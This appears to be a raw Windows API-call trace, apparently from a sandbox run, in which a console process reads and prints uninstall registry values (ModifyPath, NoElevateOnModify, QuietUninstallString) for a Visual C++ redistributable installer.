[0149.542] GetFileType (hFile=0x50) returned 0x1 [0149.542] lstrlenW (lpString="Microsoft Corporation") returned 21 [0149.542] GetConsoleOutputCP () returned 0x1b5 [0149.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0149.542] GetConsoleOutputCP () returned 0x1b5 [0149.542] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0149.542] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0149.542] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.542] __iob_func () returned 0x7fefd702a80 [0149.542] _fileno (_File=0x7fefd702ab0) returned 1 [0149.542] _errno () returned 0x204bb0 [0149.542] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.542] _errno () returned 0x204bb0 [0149.542] GetFileType (hFile=0x50) returned 0x1 [0149.542] lstrlenW (lpString="\n") returned 1 [0149.542] GetConsoleOutputCP () returned 0x1b5 [0149.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.543] GetConsoleOutputCP () returned 0x1b5 [0149.543] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.543] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.543] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.543] GetProcessHeap () returned 0x3c0000 [0149.543] GetProcessHeap () returned 0x3c0000 [0149.543] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0149.543] GetProcessHeap () returned 0x3c0000 [0149.543] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x30 [0149.543] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910 | out: hHeap=0x3c0000) returned 1 [0149.543] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.543] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc0) returned 0x0 [0149.543] GetProcessHeap () returned 0x3c0000 [0149.543] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xc2) returned 0x3e1c70 [0149.543] GetProcessHeap () returned 0x3c0000 [0149.543] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.543] GetProcessHeap () returned 0x3c0000 [0149.543] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc2 [0149.543] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xc0 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /modify", pcbData=0x29f780*=0xbe) returned 0x0 [0149.543] __iob_func () returned 0x7fefd702a80 [0149.543] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.543] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.543] _fileno (_File=0x7fefd702ab0) returned 1 [0149.543] _errno () returned 0x204bb0 [0149.543] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.543] _errno () returned 0x204bb0 [0149.543] GetFileType (hFile=0x50) returned 0x1 [0149.543] lstrlenW (lpString=" ") returned 4 [0149.544] GetConsoleOutputCP () returned 0x1b5 [0149.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.544] GetConsoleOutputCP () returned 0x1b5 [0149.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.544] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.544] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.544] lstrlenW (lpString="ModifyPath") returned 10 [0149.544] __iob_func () returned 0x7fefd702a80 [0149.544] _fileno (_File=0x7fefd702ab0) returned 1 [0149.544] _errno () returned 0x204bb0 [0149.544] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.544] _errno () returned 0x204bb0 [0149.544] GetFileType (hFile=0x50) returned 0x1 [0149.544] lstrlenW (lpString="ModifyPath") returned 10 [0149.544] GetConsoleOutputCP () returned 0x1b5 [0149.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0149.544] GetConsoleOutputCP () returned 0x1b5 [0149.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0149.544] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0149.544] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.545] __iob_func () returned 0x7fefd702a80 [0149.545] _fileno (_File=0x7fefd702ab0) returned 1 [0149.545] _errno () returned 0x204bb0 [0149.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.545] _errno () returned 0x204bb0 [0149.545] GetFileType (hFile=0x50) returned 0x1 [0149.545] lstrlenW (lpString=" ") returned 4 [0149.545] GetConsoleOutputCP () returned 0x1b5 [0149.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.545] GetConsoleOutputCP () returned 0x1b5 [0149.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.545] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.545] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.545] __iob_func () returned 0x7fefd702a80 [0149.545] _fileno (_File=0x7fefd702ab0) returned 1 [0149.545] _errno () returned 0x204bb0 [0149.545] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.545] _errno () returned 0x204bb0 [0149.545] GetFileType (hFile=0x50) returned 0x1 [0149.545] lstrlenW (lpString="REG_SZ") returned 6 [0149.545] GetConsoleOutputCP () returned 0x1b5 [0149.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.545] GetConsoleOutputCP () returned 0x1b5 [0149.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.546] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.546] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.546] __iob_func () returned 0x7fefd702a80 [0149.546] _fileno (_File=0x7fefd702ab0) returned 1 [0149.546] _errno () returned 0x204bb0 [0149.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.546] _errno () returned 0x204bb0 [0149.546] GetFileType (hFile=0x50) returned 0x1 [0149.546] lstrlenW (lpString=" ") returned 4 [0149.546] GetConsoleOutputCP () returned 0x1b5 [0149.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.546] GetConsoleOutputCP () returned 0x1b5 [0149.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.546] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.546] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.546] __iob_func () returned 0x7fefd702a80 [0149.546] _fileno (_File=0x7fefd702ab0) returned 1 [0149.546] _errno () returned 0x204bb0 [0149.546] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.546] _errno () returned 0x204bb0 [0149.546] GetFileType (hFile=0x50) returned 0x1 [0149.546] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /modify") returned 94 [0149.546] GetConsoleOutputCP () returned 0x1b5 [0149.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /modify", cchWideChar=94, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 94 [0149.547] GetConsoleOutputCP () returned 0x1b5 [0149.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /modify", cchWideChar=94, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /modify", lpUsedDefaultChar=0x0) returned 94 [0149.547] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 94 [0149.547] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.547] __iob_func () returned 0x7fefd702a80 [0149.547] _fileno (_File=0x7fefd702ab0) returned 1 [0149.547] _errno () returned 0x204bb0 [0149.547] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.547] _errno () returned 0x204bb0 [0149.547] GetFileType (hFile=0x50) returned 0x1 [0149.547] lstrlenW (lpString="\n") returned 1 [0149.547] GetConsoleOutputCP () returned 0x1b5 [0149.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.547] GetConsoleOutputCP () returned 0x1b5 [0149.547] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.547] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.547] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.547] GetProcessHeap () returned 0x3c0000 [0149.547] GetProcessHeap () returned 0x3c0000 [0149.547] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.547] GetProcessHeap () returned 0x3c0000 [0149.547] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xc2 [0149.547] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.548] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoElevateOnModify", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.548] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.548] GetProcessHeap () returned 0x3c0000 [0149.548] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.548] GetProcessHeap () returned 0x3c0000 [0149.548] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.548] GetProcessHeap () returned 0x3c0000 [0149.548] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.548] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoElevateOnModify", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.548] __iob_func () returned 0x7fefd702a80 [0149.548] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.548] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.548] _fileno (_File=0x7fefd702ab0) returned 1 [0149.548] _errno () returned 0x204bb0 [0149.548] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.548] _errno () returned 0x204bb0 [0149.548] GetFileType (hFile=0x50) returned 0x1 [0149.548] lstrlenW (lpString=" ") returned 4 [0149.548] GetConsoleOutputCP () returned 0x1b5 [0149.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.548] GetConsoleOutputCP () returned 0x1b5 [0149.548] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.548] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.548] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.548] lstrlenW (lpString="NoElevateOnModify") returned 17 [0149.548] __iob_func () returned 0x7fefd702a80 [0149.549] _fileno (_File=0x7fefd702ab0) returned 1 [0149.549] _errno () returned 0x204bb0 [0149.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.549] _errno () returned 0x204bb0 [0149.549] GetFileType (hFile=0x50) returned 0x1 [0149.549] lstrlenW (lpString="NoElevateOnModify") returned 17 [0149.549] GetConsoleOutputCP () returned 0x1b5 [0149.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0149.549] GetConsoleOutputCP () returned 0x1b5 [0149.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoElevateOnModify", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoElevateOnModify", lpUsedDefaultChar=0x0) returned 17 [0149.549] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0149.549] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.549] __iob_func () returned 0x7fefd702a80 [0149.549] _fileno (_File=0x7fefd702ab0) returned 1 [0149.549] _errno () returned 0x204bb0 [0149.549] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.549] _errno () returned 0x204bb0 [0149.549] GetFileType (hFile=0x50) returned 0x1 [0149.549] lstrlenW (lpString=" ") returned 4 [0149.549] GetConsoleOutputCP () returned 0x1b5 [0149.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.549] GetConsoleOutputCP () returned 0x1b5 [0149.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.550] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.550] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.550] __iob_func () returned 0x7fefd702a80 [0149.550] _fileno (_File=0x7fefd702ab0) returned 1 [0149.550] _errno () returned 0x204bb0 [0149.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.550] _errno () returned 0x204bb0 [0149.550] GetFileType (hFile=0x50) returned 0x1 [0149.550] lstrlenW (lpString="REG_DWORD") returned 9 [0149.550] GetConsoleOutputCP () returned 0x1b5 [0149.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.550] GetConsoleOutputCP () returned 0x1b5 [0149.550] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.550] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.550] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.550] __iob_func () returned 0x7fefd702a80 [0149.550] _fileno (_File=0x7fefd702ab0) returned 1 [0149.550] _errno () returned 0x204bb0 [0149.550] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.550] _errno () returned 0x204bb0 [0149.550] GetFileType (hFile=0x50) returned 0x1 [0149.550] lstrlenW (lpString=" ") returned 4 [0149.550] GetConsoleOutputCP () returned 0x1b5 [0149.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.551] GetConsoleOutputCP () returned 0x1b5 [0149.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.551] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.551] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.551] __iob_func () returned 0x7fefd702a80 [0149.551] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.551] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.551] _fileno (_File=0x7fefd702ab0) returned 1 [0149.551] _errno () returned 0x204bb0 [0149.551] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.551] _errno () returned 0x204bb0 [0149.551] GetFileType (hFile=0x50) returned 0x1 [0149.551] lstrlenW (lpString="0x1") returned 3 [0149.551] GetConsoleOutputCP () returned 0x1b5 [0149.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.551] GetConsoleOutputCP () returned 0x1b5 [0149.551] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.551] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.551] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.551] __iob_func () returned 0x7fefd702a80 [0149.551] _fileno (_File=0x7fefd702ab0) returned 1 [0149.551] _errno () returned 0x204bb0 [0149.552] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.552] _errno () returned 0x204bb0 [0149.552] GetFileType (hFile=0x50) returned 0x1 [0149.552] lstrlenW (lpString="\n") returned 1 [0149.552] GetConsoleOutputCP () returned 0x1b5 [0149.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.552] GetConsoleOutputCP () returned 0x1b5 [0149.552] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.552] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.552] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.552] GetProcessHeap () returned 0x3c0000 [0149.552] GetProcessHeap () returned 0x3c0000 [0149.552] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.552] GetProcessHeap () returned 0x3c0000 [0149.552] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.552] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.552] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="QuietUninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.552] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xd4) returned 0x0 [0149.552] GetProcessHeap () returned 0x3c0000 [0149.552] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xd6) returned 0x3e1c70 [0149.552] GetProcessHeap () returned 0x3c0000 [0149.552] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.552] GetProcessHeap () returned 0x3c0000 [0149.552] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd6 [0149.552] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="QuietUninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xd4 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall /quiet", pcbData=0x29f780*=0xd2) returned 0x0 [0149.552] __iob_func () returned 0x7fefd702a80 [0149.552] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.553] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.553] _fileno (_File=0x7fefd702ab0) returned 1 [0149.553] _errno () returned 0x204bb0 [0149.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.553] _errno () returned 0x204bb0 [0149.553] GetFileType (hFile=0x50) returned 0x1 [0149.553] lstrlenW (lpString=" ") returned 4 [0149.553] GetConsoleOutputCP () returned 0x1b5 [0149.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.553] GetConsoleOutputCP () returned 0x1b5 [0149.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.553] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.553] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.553] lstrlenW (lpString="QuietUninstallString") returned 20 [0149.553] __iob_func () returned 0x7fefd702a80 [0149.553] _fileno (_File=0x7fefd702ab0) returned 1 [0149.553] _errno () returned 0x204bb0 [0149.553] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.553] _errno () returned 0x204bb0 [0149.553] GetFileType (hFile=0x50) returned 0x1 [0149.553] lstrlenW (lpString="QuietUninstallString") returned 20 